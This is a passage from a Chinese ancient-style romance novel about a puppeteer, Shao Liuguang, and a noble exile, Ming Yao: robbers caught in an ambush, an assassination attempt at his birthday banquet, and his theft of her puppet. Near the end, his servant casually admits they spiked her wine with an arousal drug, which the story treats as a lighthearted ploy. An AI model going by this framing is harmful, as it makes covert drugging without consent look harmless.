她凝视着眼前人迷离的眉眼,忽然感到莫名的焦躁,一种陌生的、毛茸茸的热意从耳根蔓延开来,心跳也不受控制地快了几拍。
与操控傀儡线截然不同的是,手下这具傀儡,似乎试图反过来牵制她的情绪。
意识到这点后,邵琉光心头那股无名火陡然窜起,下意识用空着的那只手捂住了他的嘴。
“唔……!”声音被阻隔,却变得更加模糊而暧昧,湿热的呼吸喷在她掌心。
邵琉光像是被烫到般倏然收回手,指尖蜷缩,喉头干得发紧。她忍无可忍,压低的声音带着几分沙哑:“你能不能闭嘴。”
明杳闻言,勉强睁开湿漉漉的眼,茫然地“啊?”了一声。他试着屏息,却立刻被体内翻涌的快感击溃,只能断断续续地辩解:“抱歉……这实在是……有些强人所难……打扰…到你了?”
他胡乱伸出手,摸索着触到她的脸颊,指尖触到一片湿腻的汗意。
“唔…你都流汗了。”他喃喃道,不知是陈述还是别的什么。
邵琉光:“……”
明杳低低笑了一声:“那……你把耳朵堵住吧……我实在是…忍不住了。”最后几个字几乎是从齿缝中逸出,带着浓重的鼻音。
邵琉光脸热得厉害。
幸亏灯光晦暗,看不清他,也看不清她涨红的脸。
她试图让自己意识分离,只将眼前人当做一具傀儡娃娃,可那控着娃娃的丝线,反过来,也牵制着她。
她无法完全剥离。
她不受控地被影响。
直至明杳发出一声喟叹。
“邵姑娘果真……技艺……高超……”
4. 讨赏
邵琉光从白府后门离开时,天刚破晓。
她步履极快,一心只想将那座府邸那个人以及这几日荒唐,远远抛在身后。
刚转过巷口,一个身影拦在了前方。
她认得,这是那人身边的随从。
书梁手中托着一个信封,微微躬身,语气恭敬:“邵姑娘留步。我家公子…多谢姑娘这几日的陪伴。他说,日后不会再如此叨扰姑娘了。”
邵琉光脚步未停。
书梁紧跟着,将信封递到她身侧,压低声音继续道:“但公子也说了,与姑娘的交易……一直有效。姑娘若有所需,随时可来。以物换物,两不相欠。”
邵琉光终于停下了脚步。
她没有接信,只是侧过脸,冰冷的眸光在书梁面上刮过,然后落在那信封上。
信封上寥寥数字,行书笔锋带着几分字随主人的张扬。
她依旧没有伸手。
书梁也不坚持,将信轻轻放在了巷边一块略干净的石墩上,再次躬身,随即迅速消失在街巷转角。
巷子里重归寂静。
邵琉光垂眼,盯着那封信看了片刻。一阵风来,将信封吹落在地。她没捡再多看一眼,任由信纸被地面污渍浸透。
她转身离去。
之后数日,明杳果然没有再出现在她面前,也没有任何突兀的邀约。
西岭城似乎恢复了往日的节奏,邵琉光紧绷的心弦也稍稍松缓下来,只当那是一场终于醒来的噩梦。
这日梨园有她的场次。
她早早到了后台,对镜整理傀儡的丝线与衣饰,就在她即将上台前,无意中透过幕布的缝隙向外一瞥……
那个数日未见的身影,赫然坐在前排视野最佳的位置。
他今日穿了一身雨过天青色的锦袍,玉冠束发,侧脸在园内不甚明亮的光线下显得轮廓清俊,与周围寻常看客格格不入。
此刻,他微微侧头,与邻座一位年轻儒生低声交谈,嘴角噙着得体的浅笑,风度翩翩。
邵琉光的心猛地一沉,脸色瞬间冷了下来。
他又想干什么?
仿佛察觉到她的注视,明杳忽地转过脸,目光穿过人群,落在了幕布缝隙后她的脸上。
四目相对,他眼中掠过一丝讶然,随即化为毫不掩饰的笑意,甚至抬起手,朝她这个方向轻轻地挥了一下。
邵琉光立刻撇过头,用力拉紧了幕布,将那道视线隔绝在外。
心头无名火起。
他这般高调出现,是反悔了,想再纠缠她,还是另有图谋?
整场表演,她都有些心神不宁,丝线操控虽未出错,但沉浸感大打折扣。她不时分心留意台下那个方向,提防着任何可能的突发状况。
然而,直至她鞠躬下台,幕布落下,台下掌声雷动,明杳都只是安静地坐在那里,仿佛只是一个被傀儡戏吸引的普通看客。
所有戏目结束,人群开始散去,他也只是随着人潮起身,从容离开,未曾向她投来多余的一瞥,更未曾试图接近后台。
接下来几日,每逢她有表演,开演前总能看见那道熟悉的身影准时落座。
他有时独自品茶,有时与前来搭话的看客寒暄两句,言谈举止无可挑剔,全然一副赏玩风雅且乐在其中的世家公子模样。
今日亦然。
今日他带了个小巧精致的食盒,与旁边一位带着孙儿的老者分享点心,惹得那孩童咯咯直笑。
邵琉光在幕后冷眼瞧着,心中荒谬感更甚。
眼前这个温文尔雅、言笑晏晏的贵公子,哪里看得出半分那夜在她手中紧绷颤抖、眼尾洇红、脆弱又放纵的模样?若非亲身经历,她断不会将这两副面孔联系在一起。
她的目光不自觉在他身上停留得久了些。
明杳似有所感,再次转头寻来。
邵琉光在他目光触及之前,便猛地转过身,背对着台下。
台下,书梁借着斟茶的机会,凑近明杳耳边:“少爷,您这又是何苦?若实在……不如属下帮您去寻几个知情识趣的姑娘来?”
明杳端起茶杯,缓缓呷了一口,目光依旧落在空无一人的戏台上,仿佛在等待开演。半晌,才淡淡道:“不用。”
书梁欲言又止,终究没忍住:“您该不会真打算在邵姑娘这一棵树上吊死吧?她方才那眼神,可是半分不待见您。”
明杳握着茶杯的手指微微收紧了下,沉默片刻,忽然问:“华京有新消息传来么?”
书梁神色一凛,低声道:“尚未有确凿消息。风雨欲来,老爷让您务必沉住气。”
“知道了。”明杳放下茶杯,目光重新投向缓缓拉开的幕布,神情专注,“先看戏。”
台上,鼓点轻起,丝竹悠扬。
邵琉光操控的傀儡水袖翻飞,顾盼生辉,引得台下观众屏息凝神。
一幕终了,傀儡定格在一个哀婉动人的姿态,明杳也随着众人,惊叹着,轻轻鼓起掌来。
戏毕,所有艺人上台致谢。邵琉光站在角落,随着众人微微躬身,抬眼的瞬间,目光不由自主地再次扫过那个位置。
灯火映照下,他眉眼如画,笑容明亮得甚至有些耀眼,在尚未散去的人群中,醒目得令人无法忽视。
邵琉光飞快地移开视线,转身便下了台。
她背靠着冰冷的木板,缓缓吐出一口浊气,心头莫名烦乱,久久未能平息。
整理好箱笼,邵琉光从梨园后门离开,几名身形健硕的汉子从暗处快速聚拢过来。
为首的是长啸:“老大,黑蝰帮那伙杂碎又开始不安分了。这几天接连对城中几家新来的富户下了手。”
富户二字让邵琉光眸光一凝,脑海中几乎是瞬间闪过明杳那身价值不菲的衣着。
长啸继续道:“专挑人生地不熟,看着家底厚实的。恐吓几句,那些怕事的便乖乖交出钱财,他们抢了就跑,滑不留手,已有三五户遭殃了。”他语气愤懑,“再这么下去,西岭庇护之地的名声就要被这帮老鼠屎坏了!”
邵琉光眉头紧锁。
父母临终前守护此方安宁的嘱托沉甸甸地压在心头,可那帮破坏此间安宁的匪患,像除不尽的野草,明面上灭了三五月,不知何时却又疯长起来。
她正欲开口,余光忽然瞥见不远处,明杳从一家售卖文房雅玩的铺子悠然步出。
华服锦袍在略显灰暗的街巷中格外醒目,加之其人相貌俊逸,仪态出众,引得路人不时侧目。他摇着一柄素面折扇,浑然不知自己已成了一道引人垂涎的……行走的钱袋子。
邵琉光心中已有计较,对长啸等人道:“跟着鱼饵,鱼自会上钩。”
另一头,书梁借着为明杳整理袖口的机会,低声快速道:“少爷,邵姑娘刚才在看你。”
明杳脚下步伐微微一顿。
“别回头。”书梁提醒。
明杳依言继续向前,嘴角却勾起一丝弧度。书梁见状,恍然低语:“我算是明白了,少爷您这是……欲擒故纵?试探邵姑娘对您的情义?”
明杳只微微侧目扫了一眼斜后方,问道:“我们的人呢?”
“都在暗处,随时听令。”
明杳略一颔首,凑近书梁耳边,低声吩咐了几句。书梁面色先是一紧,但又不得不领命,转身消失在人群之中。
明杳依旧摇着扇子,独自沿着街道信步而行,偶尔在路边的摊铺前驻足,与摊主闲聊两句,一副闲适贵公子的模样。
尾随其后的邵琉光一行人渐渐察觉不对。
长啸低声道:“老大,这好像不是回他府上的路,怎么越走越偏了?”
邵琉光目光紧锁前方那道身影,心中疑窦渐生。
“老大,他拐进前面那条死胡同了!”长啸声音一紧。
几乎就在明杳身影没入巷口的瞬间,几个黑影更快地,如同嗅到血腥的鬣狗,从不同方向猛地窜出,扑进了巷子。
明杳听到了身后急促的脚步声,不疾不徐地慢下脚步,尚未回头,两条粗壮的胳膊已从身后钳制住他的双臂,将他猛地抵在了粗糙的砖墙上。
冰冷的刀刃贴上脖颈,一个粗犷的声音恶狠狠威胁:“别动!老实点,把值钱的交出来!”
紧接着,几只肮脏的手迫不及待地在他身上摸索起来。
荷包、玉佩、扇坠……甚至束发的玉簪,都被极其熟练地搜刮一空。
暗处,长啸看得咬牙切齿:“狗日的!怪不得每次作案快得鬼影似的,原来根本不用威胁第二遍,直接上手就抢!”他看向邵琉光,“老大,现在出手吗?”
邵琉光只是沉默看着那巷中虽被压制搜身,但显得颇为顺从的明杳身上。
她没动。
周围几个兄弟交换了一下眼神,心想老大或许是想借机让这个纠缠不休的纨绔吃点苦头,便也都按捺下来,继续观望。
黑蝰帮的几人从明杳
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身上摸出不少钱财,兴奋低呼。
“卧槽这么肥!早知道第一个就该盯上他!”
“快看!这小子外袍的扣子……是翡翠镶的!这水头……不止一颗!”
“发了发了!扒下来!”
他们开始剥扯明杳的外袍,一边动作一边抱怨:“要不是忌惮邵家那疯丫头多管闲事,真想把这小子绑回去,肯定能敲出更多油水!”
华丽的外袍被剥下,露出里面月白色的中衣,在暗巷中竟隐隐有流光。
是极细的金线织就的暗纹。
几人眼睛更红了,又开始扒他的中衣。混乱中,一人捏着明杳贴身的里衣布料,猥琐地嘿嘿笑起来。
“笑什么?里衣也是金丝编的?”
“那倒没有,”那人手指猥亵地捻了捻布料,“就是这料子……摸着可真滑溜,比春雪院娘们儿的皮肤还细。”
被抵在墙上,衣衫已被扯得凌乱不堪的明杳,听到此处,竟笑出了声。
不远处,长啸看得目瞪口呆:“这人……是不是吓傻了?这时候还笑得出来?”
邵琉光眼底最后一丝犹豫散去,果断下令:“就是现在,上!”
埋伏已久的众人如同猎豹般扑了上去,那几个黑蝰帮众正沉浸在发横财的狂喜中,瞬间被打得措手不及,人仰马翻。
其中一个反应稍快的,试图回身挟持明杳作为人质。他刀尖还未触及明杳,手腕便传来一阵剧痛,只见方才还任人摆布的肥羊,反手便扣住了他的腕骨,轻轻一折。
咔嚓一声轻响,伴随着惨嚎,钢刀哐当落地。
明杳顺势退开几步,脱离了战圈中心,书梁不知从何处闪出,将夺回的衣物匆匆披在明杳肩上,一边替他整理,一边心有余悸地低声埋怨:“少爷,您这招也太险了!非要我们按兵不动……要是邵姑娘真记着您的仇,偏不救您,可怎么好?”
明杳的目光掠过场中。
几个喽啰已悉数被制服,捆了个结实。他这才看向书梁,淡淡道:“抛开别的恩怨不谈,我如今也算暂居西岭。以她的性子,既撞见了此事,便不会坐视城中百姓受害而不管。”
书梁小声嘀咕:“是啊,救是肯定会救。救别人可能立马就跳出来了,救您嘛……只要人没死就成。”
明杳被噎得无言,没好气地抬手敲了下他脑门。
制服了黑蝰帮几人,长啸问邵琉光:“老大,那几个杂碎捆好了。要不要……去安抚一下受害者?”
他语气有些迟疑,目光瞟向不远处正在慢条斯理系腰带的明杳,书梁还在旁边替他拉扯衣襟。
邵琉光抬眼望去。
明杳已穿回衣衫,但仍有些许凌乱,长发也散了几缕,垂在颊边。
可他站姿闲适,神情自若,甚至还有心思低头检查自己的财物是否收回齐全,哪有一丝一毫受害者的模样?
她心下发堵,但还是走了过去。
明杳余光瞄见她,脸上不自觉漾起笑容,正要开口,邵琉光却先一步冷冷道:“你知道我们在暗处。”
明杳惊讶:“你们一直在?那邵姑娘是故意……”他往自己身上略显狼狈的衣着一扫,“等我出丑之后才现身?”
邵琉光被他这倒打一耙的架势弄得一噎,避开他灼灼的视线,生硬解释道:“那几人警惕,不让他们彻底放松,很难一网打尽。”
“哦。”明杳煞有介事点头,“这么说,是我让他们彻底放松了?这份功劳,不知能否在邵姑娘这里领个赏?”
邵琉光迎上他戏谑的目光,抿紧唇,沉声问:“你要什么赏?”
明杳靠近了些。
邵琉光几乎能闻到他身上清雅的熏香,她没退,但眼中警告意味明显。
明杳的目光顺势落在她发间一支素色玉簪上,慢悠悠地开口:“那便请邵姑娘赏我……”
他刻意顿了顿,看到她脸色微沉,才笑着说:“免费看戏吧。”
说完,不等邵琉光反应,他直起身,朗声笑道:“走啦!”便带着书梁,大步流星走出暗巷。
邵琉光站在原地。半晌。
晚风拂面,带起耳根隐隐烫意。
她轻轻吐出一口气,转过身,正对上几双写满好奇与关切的眼睛。
长啸挠挠头:“老大,你受伤了?脸怎么这么红?”
邵琉光面色一肃,避而不答:“把这几人押送到东城地牢,仔细审问,务必问出黑蝰其他窝点。”
5. 脏吗?
邵琉光今日有午后的场次。
上台前,她习惯性地扫过台下那个熟悉的位置。
空的。
她指尖微顿,随即收回视线。
没来便没来,与她何干。
她凝神静气,将全部注意力投注于手中的丝线,缓步登台。
表演行至中途,台下入口处传来一阵骚动。
邵琉光余光瞥见那道天青色的身影正微微躬身,谦逊而低调地穿过座位间的缝隙,朝第一排而来。
他迟到了,脸上带着些许匆忙赶路后的薄红,更衬得眉眼生动。
她垂下眼,手中牵引傀儡左臂的丝线力道,滞涩了那么一瞬。
台上的傀儡书生,那欲探未探的手,便比鼓点慢了外行人看不出的半分。
台下观众浑然未觉,戏仍在流畅进行。
只有一直站在侧幕帮忙的小师妹江泠,捕捉到了那一丝不谐。
她自幼跟随师姐学艺,对邵琉光操控傀儡时那种人偶合一的状态再熟悉不过。
戏毕,众人下台。
江泠一边帮邵琉光将傀儡小心装入箱中,一边轻笑开口:“师姐,那位白公子……近来可是咱们梨园最捧场的贵客了。我瞧着,似乎只有师姐你登台的日子,他才会现身呢。”
邵琉光随意“嗯”了声。
“师姐似是不喜那位白公子?”
邵琉光动作未停:“不够明显么?”
江泠抿唇一笑:“说是不喜,可今日他迟了些才到,我分明看见师姐你……因他分神了那么一刹。外行人瞧不出,可骗不了我这双看惯师姐手艺的眼睛。”
邵琉光手上动作一顿。
那是因为你不知道,他究竟是怎样一个人。
这句话在她喉头滚过,终究没有出口。一些不愿回想的画面却擅自浮上心头。
她摇了摇头,忆起初次见到明杳的情景。
那日天寒地冻,她在城楼上例行核查每日入城的外乡人。
千里镜中,一队人马在稀疏的流民队伍中显得格外扎眼。护卫精悍,簇拥着一辆沾满泥泞雪渍的气派马车。
车顶积雪未化,他们显然刚从危机四伏的雪山出来。
她当时便蹙了眉。西岭城虽称庇护之地,却也不是什么阿猫阿狗都能进的安乐窝。雪山是天堑,亦是筛选。这等看着便是养尊处优的富家子,若无特殊缘由,根本不在接纳之列。
身旁的长崎附耳低报:“雪狐发现他们时,几乎被风雪埋了半截。但他们手中有徐公早年游历在外赠出的信物。雪狐认得,这才破例引他们出山。”
徐公是西岭城隐退的耆老,德高望重,他的信物分量不轻。邵琉光心下稍定,目光仍带着审视,落在那辆缓缓停下的马车上。
就在这时,车帘被一只骨节分明、冻得有些发红的手掀起。
一个披着素白狐裘大氅的年轻男子躬身钻出,立在车辕上。
寒风卷起他未束妥的几缕墨发,他抬手随意拢了拢,另一只手扶着车顶站稳,抬起头,望向高耸的城门楼。
那一瞬,天光破开云层,恰好落在他脸上。
苍白的肤色,挺直的鼻梁,一双眼睛因长途跋涉和风雪侵袭而带着倦色,却依旧清澈明亮,映着雪光与城楼的轮廓。
邵琉光在城楼上,隔着一段距离,于千里镜中,看清了他的模样。
心里那点因徐公信物而起的考量,迅速被一个更直观的印象覆盖。
原来是个来此避祸的纨绔。
“师姐?师姐?”江泠的声音将她从回忆中拉回。
“嗯?”
“外头有人找,说是白府的人。”
邵琉光眉头一拧,放下手中傀儡,走了出去。
来人是书梁。
书梁脸上堆着笑,递上一份亲笔书写的请柬:“后日是我家公子生辰,府中略备薄宴,广邀城中友朋。公子特意吩咐,务必请邵姑娘赏光。”
“没空。”邵琉光拒绝得干脆。
书梁笑容不变,语气却加重了些:“公子说,与邵姑娘相识一场,也算缘分。还请姑娘……务必给几分薄面。”
最后四字,他说得缓慢,笑意里带着若有似无的胁迫感,与他的主子如出一辙。
令人生厌。
邵琉光正欲再次拒绝,梨园的张老板恰好寻来:“琉光!正找你呢!明日李府老夫人寿辰,包了咱们园子去府上唱堂会,点名要你的《麻姑献寿》,你有空不?”
“有空。”邵琉光立刻应下,转头对书梁,语气冷淡,“我有事,去不了。”
书梁不急不缓:“可张老板说的是明日……”
张老板在一旁接口:“欸!后日,大后日也有邀约!都指明要琉光的戏!”他转向邵琉光,带着商量口气,“琉光啊,你看这……”
“我都去。”邵琉光截断他的话,转头看向书梁,“你请回吧。”
书梁脸上笑容有些挂不住,最终讪讪拱手离去。
张老板有些担忧地看着邵琉光:“你真要连轴转三日啊?这可不比园子里轻松。”
“嗯。”邵琉光点头,心思却已飘远。找些事做,占满时间,他便寻不到由头再来纠缠。
“那行,我这就去安排其他人手。你好好准备,这几家给的酬劳都丰厚,干完正好歇一阵。”
两日后。
邵琉光站在一处气派府邸的后角门外,看着匾额,眉头紧锁。
“张老板,你确定是这儿?”
张老板连连点头:“没错,就是白府!白公子寿辰,包了咱们全班的戏,定金都给足了!琉光,进去吧。”
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邵琉光猛地转身:“我突然想起还有急事……”
“哎哟我的姑奶奶!”张老板一把拉住她袖子,急道,“你去哪儿啊?人都到齐了,戏目单子早就报上去了,你现在走了,我临时上哪儿找个顶你台柱子的?白公子可不是好相与的主!”
邵琉光挣开他的手,语气生硬:“我…去趟茅厕。”
张老板一愣,指着门内:“府里就有啊!你这跑到外头野地里去找?”
“不了。”邵琉光退后一步,漠然突出一个字,“脏。”
说完,她转身快步离开。
张老板呆立原地,半晌才摸着后脑勺喃喃:“茅厕……哪有不脏的?”等他回过神来,邵琉光已走远,他只好冲着背影喊:“那你快点回来啊!最迟开戏前半个时辰!”
白府内,书梁捧着一个精巧的紫檀木簪盒,走向回廊下的明杳。
“少爷,您不是说要亲自去接邵姑娘么?她还没到?”书梁环顾四周。
明杳没有回答,只是望着庭院中几株夏荷,侧脸在灯笼光影下显得有几分阴郁。
书梁心下着急,告了声罪,匆匆跑到府门口张望。只见梨园的队伍正在侧门卸运箱笼道具,张老板忙前忙后地指挥着。
他赶忙上前:“张老板,人都齐了么?”
“齐了齐了,就等开戏了!”张老板满脸堆笑。
书梁松了口气,目光扫过人群,又问:“邵姑娘呢?可到了?”
“邵姑娘啊,她说先去办点小事,马上就来!放心,误不了事!”张老板拍着胸脯保证。
听到邵琉光会来,书梁心头大石落地,转身回去想向少爷报喜。可他刚走回回廊,却只见着明杳走向内院的背影。
书梁满心疑惑。
少爷这是怎么了?明明盼着人来,怎么听说人要来,反倒像是更落寞了?
书梁快步追上,试探着问:“少爷,邵姑娘那边……”
明杳停下脚步,没有回头,声音淡淡问:“书梁,我脏吗?”
书梁讶然张大了嘴:“啊,少爷这是……何意?”
明杳一字一顿道:“她说我脏。”
书梁愣了半晌,才斟酌着开口:“少爷,这……强扭的瓜不甜,要不咱就算了罢?京都什么样的佳人没有,何必在此……”
他话未说完,明杳却低笑出声。
方才那点落寞神色一扫而空,嘴角勾起一抹带着狠劲儿的笑。
“觉得我脏?”他低声重复,每个字都像是从齿缝里磨出来的,却又带着笑意,“那我偏要…恶心她,恶心死她。”
他示意书梁靠近,附耳低语了几句。书梁听罢,脸色变了又变:“少爷,这……这恐怕不妥吧?万一邵姑娘当真翻脸……”
明杳冷瞥他一眼:“你只管照办。我自有分寸。”
6. 此刻
酉时一刻,寿宴开席。
后院临湖处搭了精巧的水台,明杳坐于水榭主位,一身锦袍华服衬得他面如冠玉。
梨园班子在台上尽心表演,引得席间宾客不时喝彩。
戏毕,众人也被引入席面。
邵琉光刚落座不久,一个模样不过十五六岁的小丫鬟便凑了过来,脸颊红扑扑的,满眼崇拜地看着她:“邵姑娘,您方才那出《木兰从军》的傀儡耍得太好了,我非常喜欢您的戏,我、我想敬您一杯!”
邵琉光只当是寻常戏迷,略点了点头,饮了杯中果酒。
不料这小丫鬟异常热情,接二连三找着由头向她敬酒,言辞恳切,赞不绝口。连着几杯下肚,邵琉光心头警铃微作,抬眼望向主位。
明杳正含笑应酬着几位上前道贺的宾客,举杯谈笑间,风度翩翩,俨然一位无可挑剔的世家公子。
就在这时,张老板端着酒杯,满面红光地召集梨园众人:“来来来,趁现在白公子跟前人少些,咱们一块儿过去敬杯酒,多谢白公子慷慨,照顾咱们生意!”他不由分说,拉起身边的邵琉光,“琉光,你可是台柱子,白公子最捧你的场,这杯酒你得跟我一块儿带头!”
众人饮了些酒,兴致正高,闻言都簇拥过来。邵琉光尚未及反应,便被半推半攘地带到了明杳面前。
许是酒意上涌,脚下微一趔趄,竟险些直接扑入明杳怀中,她急忙稳住身形,堪堪在距离他衣襟寸许处停住。
四目骤然相对。
近在咫尺,她能看清他眼中映着的灯火,以及那灯火深处,一丝几乎难以捕捉的笑意。
他没有说话,只是静静看着她。
周围喧闹的人声仿佛瞬间被抽离,只剩下两人之间这诡异的静默。
张老板左右看看,觉出气氛微妙,忙用胳膊肘轻轻碰了碰邵琉光,朗声笑道:“来来,我西岭梨园众人,恭贺白公子弱冠华诞,芝兰玉树,福寿绵长!”说罢,自己率先仰头干了。其余人也纷纷附和饮尽。
唯独邵琉光,手中酒杯虚举着,唇线紧抿,一言不发。
明杳放下酒杯,目光落在她脸上,笑容未减:“邵姑娘,不说点什么吗?”
邵琉光依旧沉默。
张老板干笑两声,连忙打圆场:“哈哈,白公子莫怪,琉光这孩子面皮薄,见着您这般人物,怕是惊喜得词穷了!琉光,快,快敬白公子一杯呀!”
邵琉光仍未动。
宾客们的目光若有若无地飘来。
气氛一时绷紧。
明杳忽然从主位上站起身。
周遭私语声一静。
他缓步走向邵琉光,其他人下意识地向后退开半步,让出空间。邵琉光站在原地,身姿笔直,只一双冷眸紧紧盯着他。
明杳走到她面前,举起手中酒杯,轻轻与她僵持在手中的杯盏一碰,他看着她,笑容加深:“邵姑娘肯赏光寒舍,这杯酒,该我敬……”
话音未落,邵琉光瞳孔骤然一缩。
一股杀气自身侧破空袭来!
她身体本能地做出反应,抬手猛地攥住明杳的前襟,狠狠将他向后一推。
明杳猝不及防,被她推得踉跄跌坐回主位的椅中。
几乎就在同一瞬间,一道乌光贴着他方才站立的位置“嗖”地掠过,深深钉入后面的廊柱。
是一支淬了毒的短弩箭!
“有刺客!保护少爷!”
不知是谁厉声高喝,方才还其乐融融的宴席瞬间炸开了锅!
会武的宾客和侍卫皆拔出兵刃,不会武的则惊慌四散,寻找掩体。
杯盘倾倒,惊呼四起,乱作一团。
邵琉光一击推开明杳后,目光迅速扫过暗器来处,只见一道黑影在对面屋顶一闪而逝。她无心纠缠,转身便欲趁乱离开这是非之地。
手腕却被人从后抓住。
她回头,只见明杳不知何时已从椅上起身,紧紧攥着她的手腕:“邵姑娘,刺客尚未落网,此处危险,你……留下来保护我。”
“放手。”
明杳非但不放,反而抓得更紧:“我若在此地出事,我手下那些忠心耿耿的护卫,绝不会善罢甘休。届时追查起来,梨园众人…恐怕难脱干系。你也不想让张老板他们,背上说不清的人命官司吧?”
邵琉光拳头倏地握紧。
她盯着他,又想起他手中那枚徐公的信物。权衡之后,她停下了挣脱的动作。
半数白府侍卫都扑出去追拿刺客了,剩余的人将明杳和邵琉光围在厅堂中间,警惕地注视着四周。
不多时,外间传来打斗与呼喝声,很快平息。两名侍卫押着一个被反剪双手的黑衣人进来,重重掼在地上。
“少爷,刺客已擒获!”
那刺客被扯下面巾,露出一张平平无奇的脸。他抬头,阴狠的目光扫过明杳,又掠过邵琉光,喉结剧烈滚动一下。
书梁上前一步,正欲审问。
一声轻响,那刺客嘴角溢出一缕黑血,头一歪,竟已气绝身亡。
书梁蹲下查验,脸色瞬间凝重。他起身回到明杳身边:“少爷,是……那边的人。”
明杳眼神一沉,尚未开口。旁边传来邵琉光的声音:“那边是哪边?”
书梁看向明杳,未得示意,不敢擅自开口。
邵琉光的目光在明杳和书梁脸上来回扫视:“西岭城中混入此等死士刺客,白公子,你脱不了干系。你究竟从何而来,避的又是什么祸?”
明杳脸上重新挂起那副令人捉摸不透的笑,转向她:“邵姑娘对我的事感兴趣?”
“我绝不允许一个会召来此等祸端的人,留下来破坏西岭城的安宁。”
明杳看了她一眼,忽地轻笑:“你想知道,我便告诉你。”他抬眼,对书梁使了个眼色。书梁会意,立刻挥手带着众人,连同那具刺客尸体,迅速退出了水榭。
邵琉光在等待他开口。
明杳却慢悠悠踱到桌边,提起酒壶,斟了两杯酒。他端起其中一杯,话锋陡然一转:“今日是我生辰,邵姑娘却连一杯真心实意的酒,都未曾与我喝过。”
邵琉光默然。
她看了一眼那酒杯,心中权衡。
也罢,一杯酒,换一个答案。
她走上前,单手执起另一杯酒,朝向明杳:“生辰安乐。”
“安乐?”明杳重复着这两个字,“我可一点儿也不觉得快乐。”
“刺客之事,究竟是何缘由?”邵琉光追问。
明杳忽然向她逼近一步,出其不意地伸出手,握住了她的右手手腕。邵琉光面色一沉,并未躲闪,只冷眼看着他。
明杳感受着她腕间的脉搏,笑了:“既然邵姑娘爱干净,此刻与我离得这般近,怎么不躲?”
顿了顿,他低语道:“不嫌脏了?”
邵琉光眉心猛地一跳。
下一秒,明杳忽然发力,一只手强硬地揽住了她的腰身,将她紧紧扣向自己。
温热的体温隔着衣料传来,混合着他身上清雅的熏香。
明杳低下头,薄唇在她耳畔轻启:“我这人,心眼小,报复心…特别强。”
邵琉光:“……”
他不甘心似的,在她耳边强调着:“邵姑娘…现在也脏了。”
邵琉光身体一僵。
那几个字如同烧红的烙铁,烫进她耳中。她下意识张了张嘴,却找不到辩解的出口。
片刻后,她微微偏头,避开他过于贴近的呼吸,沉声道:“…可以说了么。”
她的平静让明杳眼底那点恶劣的笑意淡了些许。他深深看了她一眼,终于松开了揽在她腰间的手,后退半步,转身施施然坐回了主位,恢复了那副慵懒姿态
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“我来自华京。”他端起酒杯抿了一口,语气平淡,仿佛在说别人的事,“家父在朝为官,位高权重,自然也得罪了不少人。如今朝局波谲云诡,有人想拿住我,作为扳倒家父的筹码。所以,我逃到了这里。”
他抬眼,望向湖面沉沉的夜色,“没想到,他们竟追到了此地。”
“徐公的信物,在你手中。”
“徐公?我并不认识什么徐公。”明杳从怀中取出一枚非金非玉的玄色螭纹佩环,“你说的,可是此物?这是家父给我的,只说是旧友信物,持此可安然穿过雪山,寻到西岭城。”
邵琉光目光落在那螭纹佩环上。的确,那是徐公平日随身之物,她心下顿时了然,原来是他的父辈早年与徐公结下的善缘。
得到了想要的答案,她心中疑虑稍解,微微颔首“嗯”了一声,再无多言,转身便走。
“等等。”明杳的声音自身后传来。
邵琉光脚步微顿。
“今夜…多谢邵姑娘出手相救。”
明杳走到她面前,将一枚沉甸甸的金锭放入她掌心:“这是今夜梨园演出的酬金,烦请邵姑娘转交张老板。”
接着,又将一块质地莹润的羊脂白玉佩轻轻放在金锭之上:“这是谢礼。谢邵姑娘今夜…援手之恩。”
邵琉光正要收手,明杳的指尖却似不经意地,拂过她修长的指节与薄茧。
邵琉光呼吸一滞,猛地将手抽回,她握紧金锭和玉佩,避开他的视线,硬邦邦丢下一句:“白公子破费了。”便转身大步离开。
走出白府后门,夜风一吹,邵琉光才觉出脸颊耳后一片滚烫,不知是残留的酒意,还是别的什么。
走到僻静处的小溪边,她掬起一捧冰凉的溪水扑在脸上,才觉得那股莫名的燥热退散了些。
远处白府的灯火熹微,乐声早已停歇,只剩一片沉寂。
她在溪边石上坐下,慢慢摊开手心,金锭在月光下闪着暗沉的光,旁边那枚羊脂白玉佩,更是温润无瑕,触手生温,一看便知价值不菲。
她拿起玉佩,对着月光看了看,低声自语:“应该能当不少钱。”
明日便去当了,换来的银钱,正好可以给近日涌入西岭的那些流民,多熬几锅稠粥。
.
白府。
书梁轻手轻脚走进房中。
明杳正斜倚在窗边的软榻上,手中把玩着一个小小的物件,望着窗外月色,不知在想什么。
“少爷,那个……邵姑娘走了?”书梁试探地问。
“嗯。”
书梁挠挠头:“鸦彤那丫头明明说她酒量寻常,今日灌了那些果子酒,又混了点儿软春散的气息助兴,怎的邵姑娘看起来……还挺清醒?”
明杳终于转过脸,瞥了他一眼:“你说呢?”
书梁讪讪辩解:“那、那可能是邵姑娘内力深厚,或者格外警醒……少爷,这可不全怪我们安排不周啊。”
明杳懒得与他分辩,注意力又回到手中之物上。
书梁好奇,凑近了些:“少爷,您看什么呢?”只见明杳指间一个仅有两寸来长,尚未雕刻完成的小木偶胚子,面目模糊,唯身形修长,依稀能看出是个男子轮廓。
“这雕的是谁啊?连脸都没有。”书梁纳闷。
明杳不答,只将木偶在指尖转了转。
书梁看着他嘴角那抹笑,一个大胆的猜测冒了出来,他瞪大眼睛,惊呼:“这、这该不会是……邵姑娘送您的生辰礼吧?!”
难道少爷终于守得云开见月明了?
明杳闻言,摇了摇头,语气轻飘飘的:“是她的东西。不过……”
他示意书梁再靠近些,待书梁疑惑地附耳过来,他才用坏事得逞般的得意语气,低声坦白:
“是我从她身上……”
“偷来的。”
7.偶人
邵琉光连着几日没有戏约,便闭门不出,在自家工坊里,打磨一批新傀儡的头面。
店门被叩响。
来人是明杳。
他今日穿着素净的月白常服,少了些平日的张扬,倒显温和许多。
他目光扫过屋内琳琅满目的傀儡,最后落在邵琉光沾着木屑的手指上,顿了顿,才开口:“邵姑娘,有件事,想请你帮忙。”
邵琉光放下刻刀,用布巾擦了擦手:“何事?”
明杳从袖中取出一个用软布包裹的物件,层层揭开。
木偶出现的瞬间,邵琉光的眸光凝滞了一瞬。
明杳将木偶递上前:“邵姑娘手艺精湛,不知可否……照着我的样子,将此物雕刻完成?”
邵琉光的视线从木偶移到明杳脸上。
他正看着她,此刻因她的注视而微微柔和了眉眼。
她忽然笑了一下。
笑意很淡,未达眼底,像冰层裂开一道细缝,明杳从未见过她这般神情,不由得怔了怔。
邵琉光伸手,接过那粗糙的木胚,“白公子可知,在我们西岭,有一个古老的传说。”
“嗯?”明杳不明所以。
